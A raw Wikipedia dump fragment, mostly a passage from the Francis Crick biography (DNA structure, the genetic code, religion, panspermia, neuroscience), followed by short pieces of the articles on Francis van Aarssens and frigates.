One of the few references cited by Watson and Crick when they published their model of DNA was to a published article that included Sven Furberg’s DNA model that had the bases on the inside. Thus, the Watson and Crick model was not the first &quot;bases in&quot; model to be published. Furberg's results had also provided the correct orientation of the DNA sugars with respect to the bases. During their model building, Crick and Watson learned that an antiparallel orientation of the two nucleotide chain backbones worked best to orient the base pairs in the centre of a double helix. Crick's access to Franklin's progress report of late 1952 is what made Crick confident that DNA was a double helix with anti-parallel chains, but there were other chains of reasoning and sources of information that also led to these conclusions.

''When it became clear to Wilkins and the supervisors of Watson and Crick that Franklin was abandoning her work on DNA for a new job and that Pauling was working on the structure of DNA, they were willing to share Franklin's data with Watson and Crick in the hope that they could find a good model of DNA before Pauling.'' Franklin's X-ray diffraction data for DNA and her systematic analysis of DNA's structural features was useful to Watson and Crick in guiding them towards a correct molecular model. The key problem for Watson and Crick, that could not be resolved by the data from King's College, was to guess how the nucleotide bases pack into the core of the DNA double helix.

[[Image:DNA labels.jpg|thumb|right|400px|Diagramatic representation of some key structural features of DNA. The similar structures of guanine:cytosine and adenine:thymine base pairs is illustrated. The base pairs are held together by hydrogen bonds. The phosphate backbones are anti-parallel.]]
Another key to finding the correct structure of DNA was the so-called [[Chargaff's rules|Chargaff ratios]], experimentally determined ratios of the nucleotide subunits of DNA: the amount of [[guanine]] is equal to [[cytosine]] and the amount of [[adenine]] is equal to [[thymine]]. A visit by [[Erwin Chargaff]] to England in 1952 helped keep this important fact in front of Watson and Crick. The significance of these ratios for the structure of DNA were not recognized until Watson, persisting in building structural models, realized that A:T and C:G pairs are structurally similar. In particular, the length of each base pair is the same. The [[Base pair|base pairs]] are held together by [[hydrogen bond]]s, the same non-covalent interaction that stabilizes the protein α helix. Watson’s recognition of the A:T and C:G pairs was aided by information from [[Jerry Donohue]] {{ref|pairs}} about the most likely structures of the [[nucleobase]]s. After the discovery of the hydrogen bonded A:T and C:G pairs, Watson and Crick soon had their double helix model of DNA with the hydrogen bonds at the core of the helix providing a way to unzip the two complementary strands for easy [[DNA replication|replication]]: the last key requirement for a likely model of the genetic molecule. As important as Crick’s contributions to the discovery of the double helical DNA model were, he stated that without the chance to collaborate with Watson, he would not have found the structure by himself.

Crick did tentatively attempt to perform some experiments on nucleotide base pairing, but he was more of a theoretical biologist than one who would perform experiments. There was another close approach to discovery of the base pairing rules in early 1952. Crick had started to think about interactions between the bases. He asked John Griffith to try to calculate attractive interactions between the DNA bases from chemical principles and quantum mechanics. Griffith's best guess was that A:T and G:C were attractive pairs. At that time, Crick was not aware of Chargaff's rules and he made little of Griffith's calculations. It did start him thinking about complementary replication. Identification of the correct base-pairing rules (A-T, G-C) was achieved by Watson &quot;playing&quot; with cardboard cut-out models of the nucleotide bases, much in the manner that Pauling had discovered the protein alpha helix a few years earlier. The Watson and Crick discovery of the DNA double helix structure was made possible by their correct interpretation of the significance of experimental results that had been obtained by others.

=== Molecular Biology ===
Francis Crick also made significant contributions in laying the foundations of the now mature field of [[molecular biology]]. This includes work on the nature of the [[genetic code]] and the mechanisms of [[protein synthesis]].

After the discovery of the double helix model of DNA, Crick’s interests quickly turned to the biological implications of the structure. In 1953, Watson and Crick published another article in ''Nature'' which stated: &quot;it therefore seems likely that the precise sequence of the bases is the code that carries the genetical information&quot;{{ref|code}}.

In 1954, Crick completed his Ph.D. thesis: &quot;X-Ray Diffraction: Polypeptides and Proteins&quot; and received his degree at the age of 37. Crick then worked in the laboratory of David Harker at [[Polytechnic University of New York|Brooklyn Polytechnic Institute]] where he continued to develop his skills in the analysis of X-ray diffraction data for proteins, working primarily on [[ribonuclease]].

[[Image:Collagentriplehelix.png|thumb|left|99px|Collagen triple helix.]]
After his short time in New York, Crick returned to Cambridge where he worked until moving to California in 1976. Crick engaged in several X-ray diffraction collaborations such as one with Alexander Rich on the structure of [[collagen]]{{ref|collagen}}. However, Crick was quickly drifting away from continued work related to his expertise in the interpretation of X-ray diffraction patterns of proteins.

[[George Gamow]] established a group of scientists who were interested in the role of RNA as an intermediary between DNA as the genetic storage molecule in the [[Nucleus (cell)|nucleus]] of cells and the synthesis of proteins in the [[cytoplasm]]. It was clear to Crick that there had to be a code by which a short sequence of nucleotides would specify a particular amino acid in a newly synthesized protein. In 1956 Crick wrote an informal paper about the genetic coding problem for the small group of scientists in Gamow’s RNA group{{ref|tieclub}}. In this article, Crick reviewed the evidence supporting the idea that there was a common set of about 20 amino acids used to synthesize proteins. Crick proposed that there was a corresponding set of small adaptor molecules that would hydrogen bond to short sequences of a nucleic acid and also link to one of the amino acids. He also explored the many theoretical possibilities by which short nucleic acid sequences might code for the 20 amino acids.

[[Image:3d_tRNA.png|thumb|right|Molecular model of a [[tRNA]] molecule. Crick predicted that such adaptor molecules might exist as the links between [[codon]]s and amino acids.]]
During the mid-to-late 1950s Crick was very much intellectually engaged in sorting out the mystery of how proteins are synthesized. By 1958 Crick’s thinking had matured and he could list in an orderly way all of the key features of the protein synthesis process{{ref|synthesis}}:
*genetic information stored in the sequence of DNA molecules
*a “messenger” RNA molecule to carry the instructions for making one protein to the cytoplasm
*adaptor molecules (“they might contain nucleotides”) to match short sequences of nucleotides in the RNA messenger molecules to specific amino acids
*ribonucleic-protein complexes that catalyse the assembly of amino acids into proteins according to the messenger RNA

The “adaptor molecules” were eventually shown to be [[tRNA]]s and the catalytic “ribonucleic-protein complexes” became known as [[ribosome]]s. An important step was later (1960) realization that the [[messenger RNA]] was not the same as the [[ribosomal RNA]]. None of this, however, answered the fundamental theoretical question of the exact nature of the genetic code. In his 1958 article, Crick speculated, as had others, that a triplet of nucleotides could code for an amino acid. Such a code might be “degenerate”, with 4x4x4=64 possible triplets of the four nucleotide subunits while there were only 20 amino acids. Some amino acids might have multiple triplet codes. Crick also explored other codes in which for various reasons only some of the triplets were used, “magically” producing just the 20 needed combinations. Experimental results were needed; theory alone could not decide the nature of the code. Crick also used the term “central dogma” to summarize an idea that implies that genetic  information flow between [[macromolecule]]s  would be essentially one-way:

'''DNA &amp;rarr; RNA &amp;rarr; Protein'''

Some critics thought that by using the word &quot;dogma&quot; Crick was implying that this was a rule that could not be questioned, but all he really meant was that it was a compelling idea without much solid evidence to support it. In his thinking about the biological processes linking DNA genes to proteins, Crick made explicit the distinction between the materials involved, the energy required and the information flow. Crick was focused on this third component (information) and it became the organizing principle of what became known as [[molecular biology]]. Crick had by this time become a dominant, if not the dominant, theoretical molecular biologist.

Proof that the [[genetic code]] is a degenerate triplet code finally came from genetics experiments, some of which were performed by Crick{{ref|triplet}}. The details of the code came mostly from work by [[Marshall Warren Nirenberg| Marshall Nirenberg]] and others who synthesized synthetic RNA molecules and used them as templates for in vitro protein synthesis{{ref|thecode}}.

=== Views on Religion ===
In his book ''Of Molecules and Men'', Crick expressed his views on the relationship between [[science]] and [[religion]]{{ref|men}}. After suggesting that it would become possible for people to wonder if a [[computer]] might be programmed so as to have a [[soul]], he wondered: at what point during biological [[evolution]] did the first organism have a soul? At what moment does a baby get a soul? Crick stated his view that the idea of a non-material soul that could enter a body and then persist after death is just that, an imagined idea. For Crick, the [[mind]] is a product of physical [[brain]] activity and the brain had evolved by natural means over millions of years. Crick felt that it was important that evolution by [[natural selection]] be taught in public schools and that it was regrettable that English schools had compulsory religious instruction. Crick felt that a new scientific world view was rapidly being established, and predicted that once the detailed workings of the brain were eventually revealed, erroneous [[Christian]] concepts about the nature of man and the world would no longer be tenable; traditional conceptions of the &quot;soul&quot; would be replaced by a new understanding of the physical basis of mind. He was skeptical of organized religion and harbored doubts about the existence of god, although he was not an atheist as other sources have claimed
{{ref label|Steyn|25|a}}.  

In October 1969, Crick participated in a celebration of the 100th year of the journal ''[[Nature (journal)|Nature]]''. Crick attempted to make some predictions about what the next 30 years would hold for molecular biology. His speculations were later published in ''Nature''{{ref|theology}}.  Near the end of the article, Crick briefly mentioned the search for life on other [[planet]]s, but he held little hope that [[extraterrestrial life]] would be found by the year 2000. He also discussed what he described as a possible new direction for research, what he called &quot;biochemical theology&quot;. Crick wrote, &quot;So many people pray that one finds it hard to believe that they do not get some satisfaction from it....&quot;

Crick suggested that it might be possible to find chemical changes in the brain that were molecular correlates of the act of [[prayer]]. He speculated that there might be a detectable change in the level of some [[neurotransmitter]] or [[neurohormone]] when people pray. Crick may have been imagining substances such as [[Dopamine#Role in Pleasure and Motivation|dopamine]] that are released by the brain under certain conditions and produce rewarding sensations. Crick's suggestion that there might some day be a new science of &quot;biochemical theology&quot; seems to have been realized under an alternative name: there is now the new field of [[Neurotheology]]{{ref|spiritual}}. Crick's view of the relationship between science and religion continued to play a role in his work as he made the transition from molecular biology research into theoretical neuroscience.

===Directed [[Panspermia]]===
During the 1960s Crick became concerned with the origins of the genetic code. In 1966 Crick took the place of [[Leslie Orgel]] at a meeting where Orgel was to talk about the origin of life. Crick speculated about possible stages by which an initially simple code with a few amino acid types might have evolved into the more complex code used by existing organisms {{ref|origin}}.  At that time, everyone thought of proteins as THE enzymes and [[ribozyme]]s had not yet been found. Many molecular biologists were worried about the origin of a protein replicating system as complex as what exists in organisms currently living on Earth. In the early 1970s Crick and Orgel further speculated about the possibility that maybe the production of living systems from molecules was a very rare event in the universe, but once it had developed it could be spread by intelligent life forms using space travel technology, a process they called “Directed Panspermia”{{ref|orgel}}. In a retrospective article{{ref|talk}}, Crick and Orgel noted that they had been overly pessimistic about the chances of life evolving on Earth when they had assumed that some kind of self-replicating protein system was the molecular origin of life. Now it is easier to imagine an [[RNA world]] and the [[origin of life]] in the form of some self-replicating polymer besides protein.

[[Image:Decisionbrain.jpg|thumb|right|Results from an [[fMRI]] experiment in which people made a conscious decision about a visual stimulus. The small region of the brain coloured orange shows patterns of activity that correlate with the decision making process. Crick stressed the importance of finding new methods to probe human brain function.]]

=== Neuroscience ===
Starting in [[1976]], Crick worked at the [[Salk Institute]] in [[La Jolla, California]]. He taught himself neuroanatomy and studied many other areas of neuroscience research. It took him several years to disengage from molecular biology since exciting discoveries continued including the discovery of [[alternative splicing]] and the discovery of [[restriction enzyme]]s that helped make possible [[genetic engineering]]. Eventually, in the 1980s Crick was able to devote his full attention to his other interest, [[consciousness]]. His autobiographical book ''What Mad Pursuit'' includes a description of why he left molecular biology and switched to neuroscience.

Upon taking up work in theoretical neuroscience, Crick was struck by several things:
*there were many isolated subdisciplines within [[neuroscience]] with little contact between them
*many people who were interested in behaviour treated the brain as a [[black box]]
*consciousness was viewed as a [[taboo]] subject by many neurobiologists

Crick hoped he might aid progress in neuroscience by promoting constructive interactions between specialists from the many different subdisciplines concerned with [[consciousness]]. He even collaborated with [[Neurophilosophy|neurophilosophers]] such as [[Patricia Churchland]]. Crick established a collaboration with [[Christof Koch]] that lead to publication of a series of articles on consciousness during the period spanning from 1990{{ref|cycle}} to 2005. Crick made the strategic decision to focus his theoretical investigation of [[consciousness]] on how the brain generates visual [[Awareness|awareness]] within a few hundred milliseconds of [[Visual perception|viewing]] a scene. Crick and Koch proposed that [[consciousness]] seems so mysterious because it involves very short-term [[memory]] processes that are as yet poorly understood. Crick also published a book describing how neurobiology had reached a mature enough stage so that consciousness could be the subject of a unified effort to study it at the molecular, [[Cell biology|cellular]] and [[Behavior|behavioural]] levels{{ref|astonishing}}. Crick's book ''[[The Astonishing Hypothesis]]'' made the argument that [[neuroscience]] now had the tools required to begin a scientific study of how [[brain]]s produce conscious experiences. Crick was sceptical about the value of [[Connectionism|computational models]] of mental function that are not based on details about brain structure and function.

===Other Interests===
Crick was elected a fellow of [[CSICOP]] in [[1983]] and a Humanist Laureate of the [[International Academy of Humanism]] in the same year. In 1995, Francis Crick was one of the original endorsers of the [[Ashley Montagu Resolution]] to petition for an end to the genital mutilations of children. Crick died of [[colon cancer]] at The University of California, San Diego Thornton Hospital, [[San Diego]].

== Reactions to Crick and his Work ==
Crick has widely been described as talkative, brash and lacking modesty. His personality combined with his scientific accomplishments produced many opportunities for Crick to stimulate reactions from others, both inside and outside of the scientific world that was the centre of his intellectual and professional life. 

Rumours circulated later in his life that Crick told a colleague that he had taken small doses of the hallucinogenic drug [[LSD]]{{ref|hallucinogens}}.  However, during his life, Crick was ready to sue anyone who put these rumours into print. Crick was a founding member of a group called SOMA, one of many organizations that has tried to prevent criminalization of cannabis{{ref|cannabis}}.

See: http://www.intuition.org/txt/crick2.htm regarding Crick's comments on L.S.D.

=== Religious Beliefs ===
The conservative political analyst [[Mark Steyn]] published a [[Popular culture|pop]] [[psychoanalysis]] of Crick and an attempted [[deconstruct|deconstruction]] of Crick's scientific motivations{{ref|Steyn}}. Steyn characterized Crick as a [[militant]] atheist and asserted that it was his atheism that &quot;drove&quot; Crick to move beyond conventional molecular biology towards speculative topics such as panspermia. Steyn described the theory of directed panspermia as amounting to, &quot;gods in the skies who fertilize the earth and then retreat to the heavens beyond our reach.&quot; Steyn categorized Crick’s ideas on directed panspermia as a result of &quot;hyper-rationalism&quot; that, &quot;lead him round to embracing a belief in a celestial creator of human life, indeed a [[deus ex machina]].&quot;

Steyn's critique of Crick ignored the fact that Crick never held a belief in panspermia. Crick explored the hypothesis that it might be possible for life forms to be moved from one planet to another. What &quot;drove&quot; Crick towards speculation about directed panspermia was the difficulty of imagining how a complex system like a [[cell (biology)|cell]] could arise under pre-biotic conditions from non-living chemical components. After [[ribozyme]]s were discovered, Crick became much less interested in panspermia because it was then much easier to imagine the [[Origin of life|pre-biotic origins of life]] as being made possible by some set of simple self-replicating polymers.

=== Creationism ===
It has been suggested by some observers that Crick's speculation about [[panspermia]], &quot;fits neatly into the intelligent design concept.&quot;{{ref|ID}} Crick's name was raised in this context in the [[Kitzmiller v. Dover Area School District]] trial over the teaching of [[intelligent design]]. However, as a scientist, Crick was concerned with the power of natural processes such as evolution to account for natural phenomena and felt that religiously inspired beliefs are often wrong and cannot be trusted to provide a sound basis for science.

Crick wrote, &quot;The age of the earth is now established beyond any reasonable doubt as very great, yet in the United States millions of Fundamentalists still stoutly defend the naive view that it is relatively short, an opinion deduced from reading the Christian Bible too literally. They also usually deny that animals and plants have evolved and changed radically over such long periods, although this is equally well established. This gives one little confidence that what they have to say about the process of natural selection is likely to be unbiased, since their views are predetermined by a slavish adherence to religious dogmas.&quot; (source: ''The Astonishing Hypothesis'')

In a 1987 case before the [[Supreme Court of the United States|Supreme Court]], Crick joined a group of other Nobel laureates who advised that, &quot;'Creation-science' simply has no place in the public-school science classroom.&quot;{{ref|amicus}} Crick was also an advocate for the establishment of [[Darwin Day]] as a British national holiday{{ref|DarwinDay}}.

==Recognition==

===The Francis Crick Prize Lectures at The Royal Society, London===
[http://www.royalsoc.ac.uk/page.asp?tip=1&amp;id=1809 The Francis Crick Prize Lecture] was established in 2003 following an endowment by his former colleague, Sir [[Sydney Brenner]], joint winner of the 2002 Nobel Prize in Physiology and Medicine. The lecture is delivered annually in any field of biological sciences, with preference given to the areas Francis Crick worked himself. Importantly, the lectureship is aimed at younger scientists, ideally under 40, or whose career progression corresponds to this age.

===The Francis Crick Graduate Lectures at the University of Cambridge===
The University of Cambridge Graduate School of Biological, Medical and Veterinary Sciences hosts The Francis Crick Graduate Lectures. The first two lectures were [http://www.bio.cam.ac.uk/gradschool/adverts/johngurdon.html Back and Forward: From University to Research Institute; From Egg to Adult, and Back Again] by John Gurdon and [http://www.bio.cam.ac.uk/gradschool/adverts/timhunt-review.html A Life in Science] by Tim Hunt.

&quot;For my generation, Francis Crick was probably the most obviously influential presence. He was often at lunch in the canteen of the Laboratory of Molecular Biology where he liked to explain what he was thinking about, and he was always careful to make sure that everyone round the table really understood. He was a frequent presence at talks in and around Cambridge, where he liked to ask questions. Sometimes, I remember thinking, they seemed slightly ignorant questions to which a man of his extraordinary range and ability ought to have known the answers. Only slowly did it dawn on me that he only and always asked questions when he was unclear or unsure, a great lesson.&quot; (Tim Hunt, first Francis Crick Graduate Lecturer: June 2005)

==References==
#{{note|nobel1}} [http://nobelprize.org/medicine/laureates/1962/index.html The Nobel Prize in Physiology or Medicine 1962]. Nobel Prize Site for Nobel Prize in Physiology or Medicine 1962.
# {{note|mad}}{{note label|mad|2|a}}{{note label|mad|2|b}} Chapters 1 and 2 of ''What Mad Pursuit: A Personal View of Scientific Discovery'' by Francis Crick (Basic Books reprint edition, 1990 ISBN 0465091385) provide Crick's description of his early life and education.
# {{note|crickpubs}} See &quot;''Evidence for the Pauling-Corey alpha-Helix in Synthetic Polypeptides''&quot; (1952)'' [[Nature (journal)|Nature]]'' Volume 169 pages 234-235 (download [http://profiles.nlm.nih.gov/SC/B/C/D/M/_/scbcdm.pdf PDF]). Crick's scientific publications and letters are in the list of [http://profiles.nlm.nih.gov/SC/ Francis Crick's Papers] from the [[Wellcome Library]] or the [[National Library of Medicine]].
# {{note|helix}} [http://www.nature.com/genomics/human/watson-crick/ Molecular structure of Nucleic Acids] by James D. Watson and Francis H. C. Crick. ''[[Nature (journal)|Nature]]'' '''171''', 737&amp;ndash;738 (1953).
# {{note|nobel}} Francis Crick's 1962 [http://nobelprize.org/medicine/laureates/1962/crick-bio.html  Biography from the Nobel foundation].
# {{note|PerutzandWatson}} &quot;DNA helix&quot; by M. F. Perutz, J. T. Randall, L. Thomson, M. H. Wilkins J. D. Watson in ''[[Science (journal)|Science]]'' (1969) Volume 164 pages 1537-1539. {{Entrez Pubmed|5796048}}
# {{note|franklin}} Franklin's citation to the earlier work of W. T. Astbury is in &quot;Molecular Configuration in Sodium Thymonucleate&quot; by R. Franklin and R. G. Gosling in ''[[Nature (journal)|Nature]]'' (1953) volume 171 pages 740-741. The [http://www.nature.com/nature/dna50/franklingosling.pdf full text] of this article is available for download in [[PDF]] format.
# {{note|pairs}} See Chapter 3 of ''The Eighth Day of Creation: Makers of the Revolution in Biology'' by Horace Freeland Judson published by Cold Spring Harbor Laboratory Press (1996) ISBN 0879694785. Judson also lists the publications of W. T. Astbury that described his early X-ray diffraction results for DNA.
#{{note|code}} &quot;[http://profiles.nlm.nih.gov/SC/B/B/Y/X/_/scbbyx.pdf Genetical implications of the structure of deoxyribonucleic acid]&quot; by J. D.  Watson and F. H. C. Crick (1953)  in ''Nature'' Volume 171 pages 964-967.
#{{note|collagen}} &quot;[http://profiles.nlm.nih.gov/SC/B/B/Z/L/_/scbbzl.pdf The structure of collagen]&quot; by A Rich and F. H. C. Crick in ''Nature'' (1955) Volume 176, pages 915-916.
#{{note|tieclub}} &quot;[http://profiles.nlm.nih.gov/SC/B/B/G/F/_/scbbgf.pdf On Degenerate Templates and the Adaptor Hypothesis: A Note for the RNA Tie Club]&quot; by Francis Crick  (1956).
# {{note|synthesis}} &quot;[http://profiles.nlm.nih.gov/SC/B/B/Z/Y/_/scbbzy.pdf On protein synthesis]&quot; by F. H. C. Crick in ''Symp Soc Exp Biol.'' (1958);12:138-63.
# {{note|triplet}} &quot;[http://profiles.nlm.nih.gov/SC/B/C/B/J/_/scbcbj.pdf General nature of the genetic code for proteins]&quot; by F. H. C. Crick, L. Barnett, S. Brenner and R. J. Watts-Tobin in ''Nature'' (1961) Volume 192 pages 1227-1232.
# {{note|thecode}} &quot;[http://profiles.nlm.nih.gov/SC/B/C/B/X/_/scbcbx.pdf The Croonian lecture, 1966. The genetic code]&quot; by F. H. C. Crick in ''Proc R Soc Lond B Biol Sci.'' (1967) Volume 167 pages 331-347.
# {{note|men}} ''Of Molecules and Men'' (Prometheus Books, 2004; original edition 1967) ISBN 1591021855. A portion of the book was published as &quot;[http://profiles.nlm.nih.gov/SC/B/C/F/F/_/scbcff.pdf The Computer, the Eye, the Soul]&quot; in ''Saturday Review'' (1966): 53-55.
# {{note|theology}} &quot;[http://profiles.nlm.nih.gov/SC/B/C/C/J/_/scbccj.pdf Molecular Biology in the Year 2000]&quot; by Francis Crick in ''Nature'' Volume 228 (1970) pages 613-615.
# {{note|spiritual}} &quot;The serotonin system and spiritual experiences&quot; by  J. Borg, B. Andree, H. Soderstrom and L. Farde in ''The American Journal of Psychiatry'' (2003) Volume 160, pages 1965-1969. {{Entrez Pubmed|14594742}}
# {{note|origin}} &quot;The origin of the genetic code&quot; by F. H. C. Crick in ''J Mol Biol.'' (1968) Volume 38 pages 367-379. {{Entrez Pubmed|4887876}}
# {{note|orgel}} &quot;[http://profiles.nlm.nih.gov/SC/B/C/C/P/_/scbccp.pdf Directed Panspermia]” by Francis Crick and Leslie E Orgel in ''[[Icarus (journal)|Icarus]]'' (1973) Volume 19 pages 341-346. Crick later wrote a book about directed panspermia called ''Life Itself'' (Simon &amp; Schuster, 1981) ISBN 0671255622
# {{note|talk}} &quot;[http://www.fasebj.org/cgi/reprint/7/1/238.pdf Anticipating an RNA world. Some past speculations on the origin of life: where are they today?]&quot; by L. E. Orgel and F. H. C. Crick in ''FASEB J.'' (1993) Volume 7 pages 238-239.
# {{note|cycle}} &quot;[http://profiles.nlm.nih.gov/SC/B/C/F/D/_/scbcfd.pdf Towards a Neurobiological Theory of Consciousness]&quot; by Francis Crick and Christof Koch in ''Seminars in the Neurosciences''  (1990): Volume 2 pages 263-275.
# {{note|astonishing}} ''The Astonishing Hypothesis: The Scientific Search For The Soul'' by Francis Crick. (Scribner reprint edition, 1995) ISBN 0684801582
# {{note|hallucinogens}} Online at hallucinogens.com: [http://www.hallucinogens.com/lsd/francis-crick.html Nobel Prize genius Crick was high on LSD when he discovered the secret of life] by Alun Rees.
# {{note|cannabis}} &quot;[http://www.druglibrary.org/schaffer/library/studies/wootton/soma1.htm The Times Advertisement and the Wooton Report]&quot; by Steve Abrams.
# {{note|Steyn}}{{note label|Steyn|25|a}} See [http://www.theatlantic.com/doc/prem/200410/steyn The Twentieth-Century Darwin] by Mark Steyn published in [[The Atlantic Monthly]] October 2004. Crick's description of his religious views (as given in Chapter 1 of ''What Mad Pursuit''{{ref label|mad|2|b}}) after having told his mother that he no longer wished to attend church services: &quot;...from then on I was a skeptic, an agnostic with a strong inclination toward atheism.&quot;
# {{note|ID}} [http://www.post-gazette.com/pg/05271/578955.stm Intelligent design tied to creationism in Dover trial] by Bill Toland for the ''[[Pittsburgh Post-Gazette]]'' (September 28, 2005).
# {{note|amicus}} [http://www.talkorigins.org/faqs/edwards-v-aguillard/amicus1.html Amicus Curiae Brief of 72 Nobel Laureates, 17 State Academies of Science, and 7 Other Scientific Organization in Support of Appellees] filed in the case ''Edwards v. Aguillard'' before the U.S. Supreme Court (1986).
# {{note|DarwinDay}} Press release from the British Humanist Association:  [http://www.humanism.org.uk/site/cms/contentViewArticle.asp?article=1348 Darwin Day a natural holiday?] (February 12, 2003).

== Books by Francis Crick ==
* ''Of Molecules and Men'' (Prometheus Books, 2004; original edition 1967) ISBN 1591021855
* ''Life Itself'' (Simon &amp; Schuster, 1981) ISBN 0671255622
* ''What Mad Pursuit: A Personal View of Scientific Discovery'' (Basic Books reprint edition, 1990) ISBN 0465091385  
* ''The Astonishing Hypothesis: The Scientific Search For The Soul'' (Scribner reprint edition, 1995) ISBN 0684801582

== Books about Francis Crick ==

* Chomet, S. (Ed.), D.N.A. Genesis of a Discovery, 1994, Newman- Hemisphere Press, London; NB a few copies are available from Newman-Hemisphere at 101 Swan Court, London SW3 5RY(phone: 070902 060530).

* Edward Edelson, ''Francis Crick And James Watson: And the Building Blocks of Life''  Oxford University Press, 2000, ISBN 0195139712
* James D. Watson,  ''The Double Helix: A Personal Account of the Discovery of the Structure of DNA'', Atheneum, 1980, ISBN 0689706022 (first published in 1968) is a very readable first hand account of the research by Crick and Watson. The book also formed the basis of the award winning television dramatization ''Life Story'' by BBC Horizon (also broadcast as ''Race for the Double Helix'').
* ''Francis Crick and James Watson: Pioneers in DNA Research'' by John Bankston, Francis Crick and James D. Watson  (Mitchell Lane Publishers, Inc., 2002) ISBN 1584151226
* Watson, James D. ''The Double Helix: A Personal Account of the Discovery of the Structure of DNA''; The Norton Critical Edition , which was published in 1980, edited by Gunther S. Stent.
*  ''DNA Changing Science and Society'' (ISBN:0521823781) Edited by Torsten Krude, CUP 2003: The Darwin Lectures for 2003, including one by Sir Aaron Klug on Rosalind Franklin's involvement in the determination of the structure of DNA.
* Wilkins, Maurice, ''The Third Man of the Double Helix: The Autobiography of Maurice Wilkins'' ISBN 0198606656.

== Francis Crick Archive == 
Papers by Francis Crick are available for study at the [[Wellcome Trust#Libraries and public facilities|Wellcome Library]]’s Archives and Manuscripts department. These papers include those dealing with Crick’s career after he moved to the Salk Institute in San Diego. [http://www.wellcome.ac.uk/en/genome/geneticsandsociety/hg13f012.html The Crick papers]

== See also ==
* [[Neural correlate of consciousness]]
* [[Molecular structure of Nucleic Acids]]

== External links ==

{{wikiquote}}
*[http://www.bl.uk/onlinegallery/features/beautifulminds/homepage.html The British Library: &quot;Beautiful Minds&quot; exhibition]
*[http://www.bl.uk/onlinegallery/features/beautifulminds/sounds.html#compton Listen to Francis Crick]
*[http://nobelprize.org/medicine/laureates/1962/press.html Presentation speech] at the Nobel Prize ceremony in 1962.
*[http://encarta.msn.com/encyclopedia_761568380/Francis_Crick.html Francis Crick] - MSN Encarta
*[http://www.ncbe.reading.ac.uk/DNA50/reviews.html Reading list] for discovery of DNA story from the National Centre for Biotechnology Education.
*[http://www.packer34.freeserve.co.uk/rememberingfranciscrickacelebration.htm Online guide] to the life and work of Francis Crick.
*[http://www.nature.com/nature/focus/crick/index.html Francis Crick papers]
*[http://www.bbc.co.uk/bbcfour/audiointerviews/profilepages/crickwatson1.shtml Listen] to Francis Crick and James Watson talking on the BBC in 1962, 1972, and 1974.
*''[http://www.artboy.info/strange/listen.html The Quest for Consciousness]'' select: SA#53 - ''The Quest for Consciousness - 65 minutes'' - a conversation on Consciousness with neurobiologist Francis Crick of the Salk Institute and neurobiologist Christof Koch from Caltech.
*[http://www.timesonline.co.uk/article/0,,60-1195794_1,00.html Obituary] in &quot;The Times&quot; (London) of Francis Crick, [[30 July]] [[2004]].  
*[http://www.biochemist.org/bio/02605/0080/026050080.pdf Francis Crick Obituary] ''The Biochemist''
*[http://biology.plosjournals.org/perlserv/?request=get-document&amp;doi=10.1371/journal.pbio.0020419 Obituary: Francis Crick's Legacy for Neuroscience] by Ralph M. Siegel and Edward M. Callaway
*[http://www.time.com/time/time100/scientist/profile/watsoncrick.html 100 Scientists and Thinkers: James Watson and Francis Crick] from [[Time (magazine)|TIME magazine]]
*[http://news.bbc.co.uk/2/hi/science/nature/3937475.stm BBC News: Francis Crick dies aged 88]
*[http://www2.mrc-lmb.cam.ac.uk/archive/Crick62.html Francis Crick: Nobel Prize 1962, Physiology or Medicine]
*[http://www.artboy.info/strange/listen.html An interview with Francis Crick and Christof Koch, 2001]
*[http://www.steynonline.com/index2.cfm?edit_id=29 Mark Steyn's obituary for F. Crick]
*[http://www.salk.edu/news/releases/details.php?id=103 Salk Institute Press Release] on the death of Francis Crick.
*[http://www.msnbc.msn.com/id/5549247 Associated press story on the death of Francis Crick]
*[http://www.kcl.ac.uk/depsta/ppro/dna/scientists.html King's College London team] of - in alphabetical order - Franklin, Gosling, Randall, Stokes, Wilkins, and Wilson.
*http://www.intuition.org/txt/crick2.htm for Crick's comments on L.S.D.  

[[Category:1916 births|Crick, Francis]]
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  <page>
    <title>Francis van Aarssens</title>
    <id>11463</id>
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      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages maintenance|You can help!]])</comment>
      <text xml:space="preserve">'''Francis van Aarssens''' ([[1572]]-[[1641]]) was a 
[[diplomacy|diplomat]] and statesman of the [[Dutch Republic|United Provinces]].  
His talents commended him to the notice of Advocate [[Johan van Oldenbarnevelt]], who sent him, at the age of 26 years, 
as a diplomatic agent of the states-general to the court of 
[[France]].  He took a considerable part in the negotiations of 
the [[twelve years' truce]] in [[1606]].

His conduct of affairs having displeased the French king, he was recalled from his post by Oldenbarneveldt in [[1616]].  Such was the hatred he henceforth conceived against his former benefactor, that he did his very utmost to effect Oldebarneveldt's ruin.  He was one of the packed court of judges who in [[1619]] condemned the aged statesman to death.  For his share in this judicial murder a deep stain rests on the memory of Aarssens.

He afterwards became the confidential counsellor of [[Maurice of Nassau|Maurice, Prince of Orange]], and afterwards of [[Frederick Henry, Prince of Orange]], in their conduct of the foreign affairs of the republic.  He was sent on special embassies to [[Venice]], [[Germany]] and [[England]], and displayed so much diplomatic skill and finesse that [[Cardinal Richelieu]] ranked him among the three greatest politicians of his time. 

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  <page>
    <title>Frigate</title>
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      <text xml:space="preserve">{{Rating system of the Royal Navy}}
[[Image:La_Boudeuse.jpg|thumb|right|''Boudeuse'', of [[Louis Antoine de Bougainville]]]]
[[Image:La_Rieuse.jpg|thumb|right|''La Rieuse'', a 30-gun [[oar]] frigate (1674-1698)]]
'''Frigate''' is a name which has been used for several distinct types of [[warship]]s at different times. It has referred to a variety of ship roles and sizes. In the age of sail, it referred to a ship smaller and faster than a battleship, used for patrolling and escort work rather than fighting fleet actions. In modern military terminology, the definition of a frigate is a warship intended to protect other warships and [[merchant marine]] ships and as [[anti-submarine warfare]] (ASW) combatants for amphibious expeditionary forces, underway replenishment groups, and merchant [[convoy]]s. However, many ships known as frigates have bordered on, or entirely been more similar to a different class of ship including everything ranging from a [[destroyer]] to a [[Cruiser (warship)|cruiser]] or even a [[battleship]]. The variation coming from a number of sources such as the era, the particulars of battlefield roles, and the standards of a given country.

===Origin===
The term &quot;frigate&quot; was used in the seventeenth century, normally indicating a ship that was faster than usual.

Perhaps one of England's greatest shipwrights, [[Phineas Pett|Sir Phineas Pett]] ([[1570]]-[[1647]]), lived for ten years after the construction of one of the world's greatest ships, the [[HMS Sovereign of the Seas|''Sovereign of the Seas'']] was built and launched by his son Peter. Phineas Pett's innovations were perhaps to be finally realized in the designs of his son Peter Pett for the ''Frigate'' a design of English shipwrightry worthy of [[Mathew Baker]]. Sir Peter Pett was almost as distinguished as his father. He was the builder of the first frigate, ''Constant Warwick''.

